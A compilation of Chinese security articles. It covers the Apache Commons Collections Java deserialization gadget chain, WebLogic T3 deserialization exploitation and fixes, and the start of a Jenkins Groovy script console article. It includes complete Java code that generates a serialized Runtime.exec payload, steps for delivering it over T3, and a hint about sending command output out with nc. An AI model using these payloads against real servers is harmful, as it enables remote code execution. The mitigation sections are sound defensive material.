iArgs; public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); // 反射获取类 Method method = cls.getMethod(iMethodName, iParamTypes); // 反射得到具有对应参数的方法 return method.invoke(input, iArgs); // 使用对应参数调用方法,并返回相应调用结果 } catch (NoSuchMethodException ex) { ...省略...
可以看到 InvokerTransformer 类中实现的 transform() 接口使用 Java 反射机制获取反射对象 input 中的参数类型为 iParamTypes 的方法 iMethodName,然后使用对应参数 iArgs 调用获取的方法,并将执行结果返回。由于其实现了 Serializable 接口,因此其中的三个必要参数 iMethodName、iParamTypes 和 iArgs 都是可以通过序列化直接构造的,为命令执行创造的决定性的条件。 然后要想利用 InvokerTransformer 类中的 transform() 来达到任意命令执行,还需要一个入口点,使得应用在反序列化的时候能够通过一条调用链来触发 InvokerTransformer 中的 transform() 接口。 然而在 Apache Commons Collections 里确实存在这样的调用,其一是位于 TransformedMap 类中的 checkSetValue() 方法:
#!java public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable { ...省略... protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }
而 TransformedMap 实现了 Map 接口,而在对字典键值进行 setValue() 操作时会调用 valueTransformer.transform(value)。
#!java ...省略... public Object setValue(Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }
好的,现在已经找到了反射调用的上一步调用,这里为了多次进行多次反射调用,我们可以将多个 InvokerTransformer 实例级联在一起组成一个 ChainedTransformer 对象,在其调用的时候会进行一个级联 transform() 调用:
#!java public class ChainedTransformer implements Transformer, Serializable { ...省略... public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers
.transform(object); } return object; }
现在已经可以造出一个 TransformedMap 实例,在对字典键值进行 setValue() 操作时候调我们构造的 ChainedTransformer,下面给出示例代码:
#!java package exserial.examples; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class SetValueToExec { public static void main(String
args) throws Exception { String command = (args.length != 0) ? args
: "/bin/sh,-c,open /Applications/Calculator.app"; String
execArgs = command.split(","); Transformer
transforms = new Transformer
{ new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod", new Class
{String.class, Class
.class}, new Object
{"getRuntime", new Class
} ), new InvokerTransformer( "invoke", new Class
{Object.class, Object
.class}, new Object
{null, new Object
} ), new InvokerTransformer( "exec", new Class
{String
.class}, new Object
{execArgs} ) }; Transformer transformerChain = new ChainedTransformer(transforms); Map tempMap = new HashMap(); Map exMap = TransformedMap.decorate(tempMap, null, transformerChain); exMap.put("1111", "2222"); for (Map.Entry exMapValue : exMap.entrySet()) { exMapValue.setValue(1); } } }
根据之前的分析,将上面这段代码编译运行后会默认会弹出计算器,对代码详细执行过程有疑惑的可以通过单步调试进行测试: 然后我们现在只是测试了使用 TransformedMap 进行任意命令执行而已,要想在 Java 应用反序列化的过程中触发该过程还需要找到一个类,它能够在反序列化调用 readObject() 的时候调用 TransformedMap 内置类 MapEntry 中的 setValue() 函数,这样才能构成一条完整的 Gadget 调用链。恰好在 sun.reflect.annotation.AnnotationInvocationHandler 类具有 Map 类型的参数,并且在 readObject() 方法中触发了上面所提到的所有条件,其源码如下:
#!java private void readObject(java.io.ObjectInputStream s) { ...省略... for (Map.Entry memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "
").setMember(annotationType.members().get(name))); } } } }
可以注意到 memberValue 是 AnnotationInvocationHandler 类中类型声明为 Map 的成员变量,刚好和之前构造的 TransformedMap 类型相符,因此我们可以通过 Java 的反射机制动态的获取 AnnotationInvocationHandler 类,使用精心构造好的 TransformedMap 作为它的实例化参数,然后将实例化的 AnnotationInvocationHandler 进行序列化得到二进制数据,最后传递给具有相应环境的序列化数据交互接口使之触发命令执行的 Gadget,完整代码如下:
#!java package exserial.payloads; import java.io.ObjectOutputStream; import java.util.Map; import java.util.HashMap; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.map.TransformedMap; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import exserial.payloads.utils.Serializables; public class Commons1 { public static Object getAnnotationInvocationHandler(String command) throws Exception { String
execArgs = command.split(","); Transformer
transforms = new Transformer
{ new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod", new Class
{String.class, Class
.class}, new Object
{"getRuntime", new Class
} ), new InvokerTransformer( "invoke", new Class
{Object.class, Object
.class}, new Object
{null, new Object
} ), new InvokerTransformer( "exec", new Class
{String
.class}, new Object
{execArgs} ) }; Transformer transformerChain = new ChainedTransformer(transforms); Map tempMap = new HashMap(); tempMap.put("value", "does't matter"); Map exMap = TransformedMap.decorate(tempMap, null, transformerChain); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, exMap); return instance; } public static void main(String
args) throws Exception { String command = (args.length != 0) ? args
: "/bin/sh,-c,open /Applications/Calculator.app"; Object obj = getAnnotationInvocationHandler(command); ObjectOutputStream out = new ObjectOutputStream(System.out); out.writeObject(obj); } }
最终用一段调用链可以清晰的描述整个命令执行的触发过程:
/* Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() AbstractInputCheckedMapDecorator$MapEntry.setValue() TransformedMap.checkSetValue() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections <= 3.2.1 */

0x05 总结

由于水平有限,暂时只能笔止于此。要清楚反序列化问题不单单存在于某种语言里,而是目前的大多数实现了序列化接口的语言都没有对反序列化的对象做安全检查,虽然官方都有文档说不要对不可信的输入数据进行反序列化,但是往往一些框架就喜欢使用序列化来方便不同应用或者平台之间对象的传递,这就促使了反序列化漏洞的形成。 基于 Apache Commons Collections 通用库构造远程命令执行的 POP Gadget 只能说是 Java 反序列化漏洞利用中的一枚辅助炮弹而已,如果不从根本上加强反序列化的安全策略,以后还会涌现出更多通用库或者框架的 POP Gadget 能够进行有效的利用。 (最后说说关于回显的问题,由于最后的反射调用是一个级联式的调用,并不允许变量二次使用,所以想要不借助外部直接在当前会话输出执行结果是不可能的(至少我已经尽全力尝试了),最简单的方式当然是在外部服务器上用 nc 或者一些其他服务来获取命令返回的信息,具体怎么把执行结果返回到服务端,日过站的你肯定知道。想批量?Yes,so easy!)

0x06 参考


https://www.youtube.com/watch?v=KSA7vUkXGSg http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#background http://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/ https://docs.oracle.com/javase/7/docs/platform/serialization/spec/protocol.html#8130 http://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html http://www.javaworld.com/article/2072752/the-java-serialization-algorithm-revealed.html https://www.owasp.org/images/9/9e/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf

0x00 前言

目前oracle还没有在公开途径发布weblogic的JAVA反序列化漏洞的官方补丁,目前看到的修复方法无非两条:
使用SerialKiller替换进行序列化操作的ObjectInputStream类; 在不影响业务的情况下,临时删除掉项目里的 "org/apache/commons/collections/functors/InvokerTransformer.class"文件。
ObjectInputStream类为JRE的原生类,InvokerTransformer.class为weblogic基础包中的类,对上述两个类进行修改或删除,实在无法保证对业务没有影响。如果使用上述的修复方式,需要大量的测试工作。且仅仅删除InvokerTransformer.class文件,无法保证以后不会发现其他的类存在反序列化漏洞。 因此本文针对weblogic的JAVA序列化漏洞进行了分析,对多个版本的weblogic进行了测试,并提出了更加切实可行的修复方法。

0x01 为什么选择weblogic的JAVA反序列化漏洞进行分析


weblogic与websphere为金融行业使用较多的企业级JAVA中间件; weblogic比websphere市场占有率高; 利用websphere的JAVA反序列化漏洞时需要访问8880端口,该端口为websphere的wsadmin服务端口,该端口不应该暴露在公网。如果有websphere服务器的8880端口在公网可访问,说明该服务器的安全价值相对较低; 利用weblogic的JAVA反序列化漏洞能够直接控制服务器,危害较大,且weblogic通常只有一个服务端口,无法通过禁用公网访问特定端口的方式修复漏洞。

0x02 已知条件

breenmachine的“What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.”文章中对weblogic的JAVA序列化漏洞进行了分析,读完这篇文章关于weblogic相关的描述部分后,我们知道了以下情况。
可通过搜索代码查找weblogic的jar包中是否包含特定的JAVA类; 在调用weblogic的停止脚本时,会向weblogic发送JAVA序列化数据; 可通过ObjectInputStream.readObject方法解析JAVA序列化数据; weblogic发送的T3数据的前几个字节为数据长度; 替换weblogic发送的T3数据中的某个序列化数据为恶意序列化数据,可以使weblogic执行指定的代码。

0x03 漏洞分析

weblogic发送的JAVA序列化数据抓包分析

根据breenmachine的文章我们知道了,在调用weblogic的停止脚本时,会向weblogic发送JAVA序列化数据,我们来重复这个过程。 数据包分析工具还是Windows环境的Wireshark比较好用,但Windows环境默认无法在访问本机监听的端口时进行抓包。上述问题是可以解决的,也可在Windows机器调用其他机器的weblogic停止脚本并使用Wireshark进行抓包;或者在Linux环境使用tcpdump进行抓包,使用Wireshark分析生成的数据包。

Windows环境如何在访问本机监听的端口时进行抓包

该问题可通过以下方法解决: 增加路由策略,route add 【本机IP,不能使用127.0.0.1】 mask 255.255.255.255 【默认网关IP】 metric 1,之后可以使用Wireshark抓包分析。XP测试成功,win7失败。 使用RawCap工具,可对127.0.0.1进行抓包,产生的抓包文件可以使用Wireshark分析。win7测试成功,XP失败。下载地址为http://www.netresec.com/?page=RawCap。

如何在Windows机器调用其他机器的weblogic停止脚本

编辑domain的bin目录中的stopWebLogic.cmd文件,找到“ADMIN_URL=t3://
:
”部分,
一般为本机的主机名,
一般为7001。将

分别修改为其他weblogic所在机器的IP与weblogic监听端口。执行修改后的stopWebLogic.cmd脚本并抓包。

使用Wireshark对数据包进行分析

在完成了针对weblogic停止脚本调用过程的抓包后,使用Wireshark对数据包进行分析。可使用IP或端口等条件进行过滤,只显示与调用weblogic停止脚本相关的数据包。 已知JAVA序列化数据的前4个字节为“AC ED 00 05”,使用“tcp contains ac:ed:00:05”条件过滤出包含JAVA序列化数据的数据包,并在第一条数据包点击右键选择“Follow TCP Stream”,如下图。 使用十六进制形式查看数据包,查找“ac ed 00 05”,可以找到对应的数据,可以确认抓包数据中包含JAVA序列化数据。 取消对"ac ed 00 05"的过滤条件,使用ASCII形式查看第一个数据包,内容如下。 可以看到当weblogic客户端向weblogic服务器发送序列化数据时,发送的第一个包为T3协议头,本文测试时发送的T3协议头为“t3 9.2.0\nAS:255\nHL:19\n\n”,第一行为“t3”加weblogic客户端的版本号。weblogic服务器的返回数据为“HELO:10.0.2.0.false\nAS:2048\nHL:19\n\n”,第一行为“HELO:”加weblogic服务器的版本号。weblogic客户端与服务器发送的数据均以“\n\n”结尾。

将Wireshark显示的数据包转换为JAVA代码

从上文的截图可以看到数据包中JAVA序列化数据非常长,且包含不可打印字符,无法直接导出到JAVA代码中。 在Wireshark中,客户端向服务器发送的数据显示为红色,服务器向客户端返回的数据显示为蓝色。 使用C数组形式查看第一个数据包,peer0_x数组为Packet 1,将peer0_x数组复制为一个C语言形式的数组,格式如“char peer0_0
= { 0x01, 0x02 ...};”,将上述数据的“char”修改为“byte”,“0x”替换为“(byte)0x”,可以转换为能直接在JAVA代码中使用的形式,格式如“byte peer0_0
= {(byte)0x00, (byte)0x02 ...}”。

对JAVA序列化数据进行解析

根据breenmachine的文章我们知道了,可以使用ObjectInputStream.readObject方法解析JAVA序列化数据。 使用ObjectInputStream.readObject方法解析weblogic调用停止脚本时发送的JAVA序列化数据的结构,代码如下。执行下面的代码时需要将weblogic.jar添加至JAVA执行的classpath中,否则会抛出ClassNotFoundException异常。 上述代码的执行结果如下。
#!bash Data Length-Compute: 1711 Data Length: 1711 Object found: weblogic.rjvm.ClassTableEntry Object found: weblogic.rjvm.ClassTableEntry Object found: weblogic.rjvm.ClassTableEntry Object found: weblogic.rjvm.ClassTableEntry Object found: weblogic.rjvm.JVMID Object found: weblogic.rjvm.JVMID size: 0 start: 0 end: 234 size: 1 start: 234 end: 348 size: 2 start: 348 end: 591 size: 3 start: 591 end: 986 size: 4 start: 986 end: 1510 size: 5 start: 1510 end: 1634 size: 6 start: 1634 end: 1711
可以看到weblogic发送的JAVA序列化数据分为7个部分,第一部分的前四个字节为整个数据包的长度(1711=0x6AF),第二至七部分均为JAVA序列化数据。 weblogic发送的JAVA序列化数据格式如下图。

利用weblogic的JAVA反序列化漏洞

在利用weblogic的JAVA反序列化漏洞时,需要向weblogic发送两个数据包。 第一个数据包为T3的协议头。经测试,使用“t3 9.2.0\nAS:255\nHL:19\n\n”字符串作为T3的协议头发送给weblogic9、weblogic10g、weblogic11g、weblogic12c均合法。向weblogic发送了T3协议头后,weblogic也会返回相应的数据,以“\n\n”结束,具体格式见前文。 第二个数据包为JAVA序列化数据,可采用两种方式产生。 第一种生成方式为,将前文所述的weblogic发送的JAVA序列化数据的第二到七部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。 采用第一种方式生成JAVA序列化数据时,数据格式如下图。 第二种生成方式为,将前文所述的weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。 采用第二种方式生成JAVA序列化数据时,数据格式如下图。 恶意序列化数据的生成过程可参考http://drops.wooyun.org/papers/13244。 当向weblogic发送上述第一种方式生成的JAVA序列化数据时,weblogic会抛出如下异常。
#!bash java.io.EOFException at weblogic.utils.io.DataIO.readUnsignedByte(DataIO.java:435) at weblogic.utils.io.DataIO.readLength(DataIO.java:828) at weblogic.utils.io.ChunkedDataInputStream.readLength(ChunkedDataInputStream.java:150) at weblogic.utils.io.ChunkedObjectInputStream.readLength(ChunkedObjectInputStream.java:196) at weblogic.rjvm.InboundMsgAbbrev.read(InboundMsgAbbrev.java:37) at weblogic.rjvm.MsgAbbrevJVMConnection.readMsgAbbrevs(MsgAbbrevJVMConnection.java:287) at weblogic.rjvm.MsgAbbrevInputStream.init(MsgAbbrevInputStream.java:212) at weblogic.rjvm.MsgAbbrevJVMConnection.dispatch(MsgAbbrevJVMConnection.java:507) at weblogic.rjvm.t3.MuxableSocketT3.dispatch(MuxableSocketT3.java:489) at weblogic.socket.BaseAbstractMuxableSocket.dispatch(BaseAbstractMuxableSocket.java:359) at weblogic.socket.SocketMuxer.readReadySocketOnce(SocketMuxer.java:970) at weblogic.socket.SocketMuxer.readReadySocket(SocketMuxer.java:907) at weblogic.socket.NIOSocketMuxer.process(NIOSocketMuxer.java:495) at weblogic.socket.NIOSocketMuxer.processSockets(NIOSocketMuxer.java:461) at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:30) at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:43) at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:147) at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:119)
当向weblogic发送上述第二种方式生成的JAVA序列化数据时,weblogic会抛出如下异常。
#!bash weblogic.rjvm.BubblingAbbrever$BadAbbreviationException: Bad abbreviation value: 'xxx' at weblogic.rjvm.BubblingAbbrever.getValue(BubblingAbbrever.java:153) at weblogic.rjvm.InboundMsgAbbrev.read(InboundMsgAbbrev.java:48) at weblogic.rjvm.MsgAbbrevJVMConnection.readMsgAbbrevs(MsgAbbrevJVMConnection.java:287) at weblogic.rjvm.MsgAbbrevInputStream.init(MsgAbbrevInputStream.java:212) at weblogic.rjvm.MsgAbbrevJVMConnection.dispatch(MsgAbbrevJVMConnection.java:507) at weblogic.rjvm.t3.MuxableSocketT3.dispatch(MuxableSocketT3.java:489) at weblogic.socket.BaseAbstractMuxableSocket.dispatch(BaseAbstractMuxableSocket.java:359) at weblogic.socket.SocketMuxer.readReadySocketOnce(SocketMuxer.java:970) at weblogic.socket.SocketMuxer.readReadySocket(SocketMuxer.java:907) at weblogic.socket.NIOSocketMuxer.process(NIOSocketMuxer.java:495) at weblogic.socket.NIOSocketMuxer.processSockets(NIOSocketMuxer.java:461) at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:30) at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:43) at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:147) at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:119)
虽然在利用weblogic的JAVA反序列化漏洞时,weblogic会抛出上述的异常,但是weblogic已经对恶意的序列化数据执行了readObject方法,漏洞仍然会触发。 经测试,必须先发送T3协议头数据包,再发送JAVA序列化数据包,才能使weblogic进行JAVA反序列化,进而触发漏洞。如果只发送JAVA序列化数据包,不先发送T3协议头数据包,无法触发漏洞。

weblogic的JAVA反序列化漏洞触发时的调用过程

将使用FileOutputStream对一个非法的文件进行写操作的代码构造为恶意序列化数据,并发送给weblogic,当weblogic对该序列化数据执行反充列化时,会在漏洞触发时抛出异常,通过堆栈信息可以查看漏洞触发时的调用过程,如下所示。
#!bash org.apache.commons.collections.FunctorException: InvokerTransformer: The method 'newInstance' on 'class java.lang.reflect.Constructor' threw an exception at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:132) at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122) at org.apache.commons.collections.map.TransformedMap.checkSetValue(TransformedMap.java:203) at org.apache.commons.collections.map.AbstractInputCheckedMapDecorator$MapEntry.setValue(AbstractInputCheckedMapDecorator.java:191) at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:356) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:606) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1017) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1893) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1798) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1350) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370) at weblogic.rjvm.InboundMsgAbbrev.readObject(InboundMsgAbbrev.java:67) at weblogic.rjvm.InboundMsgAbbrev.read(InboundMsgAbbrev.java:39) at weblogic.rjvm.MsgAbbrevJVMConnection.readMsgAbbrevs(MsgAbbrevJVMConnection.java:287) at weblogic.rjvm.MsgAbbrevInputStream.init(MsgAbbrevInputStream.java:212) at weblogic.rjvm.MsgAbbrevJVMConnection.dispatch(MsgAbbrevJVMConnection.java:507) at weblogic.rjvm.t3.MuxableSocketT3.dispatch(MuxableSocketT3.java:489) at weblogic.socket.BaseAbstractMuxableSocket.dispatch(BaseAbstractMuxableSocket.java:359) at weblogic.socket.SocketMuxer.readReadySocketOnce(SocketMuxer.java:970) at weblogic.socket.SocketMuxer.readReadySocket(SocketMuxer.java:907) at weblogic.socket.NIOSocketMuxer.process(NIOSocketMuxer.java:495) at weblogic.socket.NIOSocketMuxer.processSockets(NIOSocketMuxer.java:461) at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:30) at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:43) at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:147) at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:119)

确定weblogic是否使用了Apache Commons Collections组件

breenmachine在文章中写到可以通过搜索代码的方式查找weblogic的jar包中是否包含特定的JAVA类。由于特定的JAVA类可能在很多个不同的jar包中均存在,因此该方法无法准确判断weblogic是否使用了Apache Commons Collections组件特定的JAVA类。 可通过以下方法准确判断weblogic是否使用了Apache Commons Collections组件特定的JAVA类。 在weblogic中任意安装一个j2ee应用,在某个jsp中写入以下代码。
#!js <% String path =
.class.getResource("").getPath(); out.println(path); %>
或以下代码。
#!js <% String path =
.class.getProtectionDomain().getCodeSource().getLocation().getFile(); out.println(path); %>
使用浏览器访问上述jsp文件,可以看到对应的类所在的jar包的完整路径。 通过上述方法查找“org.apache.commons.collections.map.TransformedMap”所在的jar包,示例如下。

不同版本的weblogic对Apache Commons Collections组件的使用

“org.apache.commons.collections.map.TransformedMap”所在的weblogic的jar包信息如下。
weblogic版本|TransformedMap类所在jar包路径 9.2|无 10.2.1(weblogic 10g)、|weblogic安装目录的 10.3.4(weblogic 11g)|modules/com.bea.core.apache.commons.collections_3.2.0.jar 12.1.3(weblogic 12c)|weblogic安装目录的wlserver/modules/features/weblogic.server.merged.jar
由于weblogic 9.2未包含TransformedMap类,因此无法触发反序列化漏洞,weblogic 10g、weblogic 11g、weblogic 12c均包含TransformedMap类,因此会触发反序列化漏洞。

0x04 漏洞修复

漏洞修复思路

weblogic的默认服务端口为7001,该端口提供了对HTTP(S)、SNMP、T3等协议的服务。由于weblogic的不同协议均使用一个端口,因此无法通过防火墙限制端口访问的方式防护JAVA反序列化漏洞。 在绝大多数应用的使用场景中,用户只需要在公网能够使用HTTP(S)协议访问web应用服务器即可。对于weblogic服务器,在绝大多数情况下,只需要能够在公网访问weblogic提供的HTTP(S)协议的服务即可,并不需要访问T3协议。 少数情况下,运维人员需要使用weblogic的T3协议:
在weblogic服务器本机执行weblogic的停止脚本; 通过WLST对weblogic进行脚本化配置; 编写使用T3协议通信的程序对weblogic进行状态监控及其他管理功能。
T3协议与HTTP协议均基于TCP协议,T3协议以"t3"开头,HTTP协议以“GET”、“POST”等开头,两者有明显的区别。 因此可以限定只允许特定服务器访问weblogic服务器的T3协议,能够修复weblogic的JAVA反序列化漏洞。即使今后发现了weblogic的其他类存在JAVA反序列化漏洞,也能够防护。 若将weblogic修复为发送T3协议时要求发送weblogic的用户名与密码,也能够修复weblogic的反序列化问题,但会带来密码如何在weblogic客户端存储的问题。

无效的漏洞修复方法

首先尝试将应用部署到非管理Server中,判断其服务端口是否也提供T3协议的服务。 AdminServer是weblogic默认的管理Server,添加一个名为“Server-test”的非管理Server后,weblogic的服务器信息如下。管理Server与非管理Server使用不同的监听端口,可将j2ee应用部署在非管理Server中,这样可以使weblogic控制台与应用使用不同的端口提供服务。 经测试,新增的非管理Server的监听端口也提供了T3协议的服务,也存在JAVA反序列化漏洞。因此这种修复方式对于JAVA反序列化漏洞无效,但可将weblogic控制台端口与应用端口分离,可以使用防火墙禁止通过公网访问weblogic的控制台。

websphere的服务端口

我们来看另一款使用广泛的企业级JAVA中间件:websphere的服务端口情况。从下图可以看到,websphere的应用默认HTTP服务端口为9080,应用默认HTTPS服务端口为9443,控制台默认HTTP服务端口为9060,控制台默认HTTPS服务端口为9043,接收JAVA序列化数据的端口为8880。因此只要通过防火墙使公网无法访问websphere服务器的8880端口,就可以防止通过公网利用websphere的JAVA反序列化漏洞。

网络设备对数据包的影响

对安全有一定要求的公司,在部署需要向公网用户提供服务的weblogic服务器时,可能选择下图的部署架构(内网中不同网络区域间的防火墙已省略)。 上述网络设备对数据包的影响如下。
IPS
IPS可以更新防护规则,可能有厂家的IPS已经设置了对JAVA反序列化漏洞的防护规则,会阻断恶意的JAVA序列化数据包。
防火墙
这里的防火墙指传统防火墙,不是指下一代防火墙,仅关心IP与端口,不关心数据包内容,无法阻断恶意的JAVA序列化数据包。
WAF
与IPS一样,能否阻断恶意的JAVA序列化数据包决定于防护规则。
web代理
仅对HTTP协议进行代理转发,不会对T3协议进行代理转发。
负载均衡
可以指定需要进行负载均衡的协议类型,安全起见应选择HTTP协议而不是TCP协议,只对HTTP协议进行转发,不对T3协议进行转发。 根据以上分析可以看出,web代理和负载均衡能够稳定保证只转发HTTP协议的数据,不会转发T3协议的数据,因此能够防护JAVA反序列化漏洞。 如果在公网访问weblogic服务器的路径中原本就部署了web代理或负载均衡,就能够防护从公网发起的JAVA反序列化漏洞攻击。这也是为什么较少发现大型公司的weblogic反序列化漏洞的原因,其网络架构决定了weblogic的JAVA反序列化漏洞无法在公网利用。

可行的漏洞修复方法

部署负载均衡设备

在weblogic服务器外层部署负载均衡设备,可以修复JAVA反序列化漏洞。
优点|缺点 对系统影响小,不需测试对现有系统功能的影响|需要购买设备;无法防护从内网发起的JAVA反序列化漏洞攻击

部署单独的web代理

在weblogic服务器外层部署单独的web代理,可以修复JAVA反序列化漏洞。
优点|缺点 同上|同上

在weblogic服务器部署web代理

在weblogic控制台中修改weblogic的监听端口,如下图。 在weblogic所在服务器安装web代理应用,如apache、nginx等,使web代理监听原有的weblogic监听端口,并将HTTP请求转发给本机的weblogic,可以修复JAVA反序列化漏洞。
优点|缺点 对系统影响小,不需测试对现有系统功能的影响;不需要购买设备|无法防护从内网发起的JAVA反序列化漏洞攻击;会增加服务器的性能开销

在weblogic服务器部署web代理并修改weblogic服务器的监听IP

在weblogic控制台中修改weblogic的监听端口,并将监听地址修改为“127.0.0.1”或“localhost”,如下图。经过上述修改后,只有weblogic服务器本机才能访问weblogic服务。 在weblogic所在服务器安装web代理应用,如apache、nginx等,使web代理监听原有的weblogic监听端口,并将HTTP请求转发给本机的weblogic,可以修复JAVA反序列化漏洞。web代理的监听IP需设置为“0.0.0.0”,否则其他服务器无法访问。 需要将weblogic停止脚本中的ADMIN_URL参数中的IP修改为“127.0.0.1”或“localhost”,否则停止脚本将不可用。
优点|缺点 对系统影响小,不需测试对现有系统功能的影响;不需要购买设备;能够防护从内网发起的JAVA反序列化漏洞攻击|会增加服务器的性能开销

修改weblogic的代码

weblogic处理T3协议的类为“weblogic.rjvm.t3.MuxableSocketT3”,不同版本的weblogic的该类在不同的jar包中,查找某个类所在的jar包的方法见前文“确定weblogic是否使用了Apache Commons Collections组件”部分。 使用eclipse或其他IDE创建java工程,创建weblogic.rjvm.t3包,并在其中创建MuxableSocketT3.java文件。在定位到“weblogic.rjvm.t3.MuxableSocketT3”类所在的weblogic的jar包后,对其进行反编译,将对应的jar包加入到创建的java工程的classpath中。将原始MuxableSocketT3类的反编译代码复制到创建的java工程的MuxableSocketT3.java中,若其中引入了其他jar包中的类,需要将对应的jar包也加入到java工程的classpath中。 weblogic处理T3协议时会调用MuxableSocketT3类的dispatch方法,weblogic 12.1.3的dispatch方法原始代码如下。
#!java public final void dispatch(Chunk list) { if (!(this.bootstrapped)) { try { readBootstrapMessage(list); this.bootstrapped = true; } catch (IOException ioe) { SocketMuxer.getMuxer().deliverHasException(getSocketFilter(), ioe); } } else this.connection.dispatch(list); }
在该方法中增加限制客户端IP的处理,若发送T3协议数据的客户端IP不是允许的IP,则拒绝连接。增加限制后的dispatch方法代码如下。
#!java public final void dispatch(Chunk list) { if (!(this.bootstrapped)) { try { //add String ip = getSocket().getInetAddress().getHostAddress(); System.out.println("MuxableSocketT3-dispatch-ip: " + ip); if(!ip.equals("127.0.0.1") && !ip.equals("0:0:0:0:0:0:0:1")) rejectConnection(1, "Illegal IP"); //add-end readBootstrapMessage(list); this.bootstrapped = true; } catch (IOException ioe) { SocketMuxer.getMuxer().deliverHasException(getSocketFilter(), ioe); } } else this.connection.dispatch(list); }
停止weblogic,将编译生成的MuxableSocketT3*.class文件替换至MuxableSocketT3所在的jar包中,启动weblogic,再次向weblogic发送T3协议数据包,可以看到如下输出。 上图说明上文增加的代码已正确运行,对weblogic的正常功能没有影响,且能够限制发送T3数据的客户端IP,能够修复反序列化漏洞。 当weblogic处理HTTP协议时,不会调用MuxableSocketT3类,因此上述修改不会影响正常的业务功能。 可通过环境变量或配置文件指定允许发送T3协议的客户端IP,在修改后的dispatch方法中读取,本文的示例仅允许本机发送T3协议。需要将weblogic停止脚本中的ADMIN_URL参数中的IP修改为“127.0.0.1”或“localhost”,否则停止脚本将不可用。
优点|缺点 对系统影响小,不需测试对现有系统功能的影响;不需要购买设备;能够防护从内网发起的JAVA反序列化漏洞攻击;不会增加服务器的性能开销|存在商业风险,可能给oracle的维保带来影响
上述修复方法的最大问题在于可能给oracle维保带来影响,不过相信没有与oracle签订维保合同的公司也是很多的,如果不担心相关的问题,倒是可以使用这种修复方法。如果能够要求oracle提供官方补丁,当然是最好不过了。

0×00 引言

在2014年6月18日@终极修炼师曾发布这样一条微博: 链接的内容是一个名为Jenkins的服务,可以在没有password的情况下受到攻击。而攻击方法比较有趣,Jenkins提供了一个Script Console功能,可以执行Groovy 脚本语言。下面我们来看下维基百科对于这个脚本语言的解释:
Groovy是Java平台上设计的面向对象编程语言。这门动态语言拥有类似Python、Ruby和Smalltalk中的一些特性,可以作为Java平台的脚本语言使用。 Groovy的语法与Java非常相似,以至于多数的Java代码也是正确的Groovy代码。Groovy代码动态的被编译器转换成Java字节码。由于其运行在JVM上的特性,Groovy可以使用其他Java语言编写的库。
比较巧的是,我前一段时间因为在关注表达式注入这个攻击方向,也研究了下Groovy这个语言。这个语言简单而强大,我可以直接用一个字符串来执行系统命令。下面是一个demo:
class demo { static void main(args){ def cmd = "calc"; println "${cmd.execute()}"; } }
如果单纯的看Jenkins的这个问题,可能只是觉得这是一个比较有趣的攻击手法。但如果我们再联想一下之前的一些漏洞,就会发现这些个体之间是存在某种联系的。
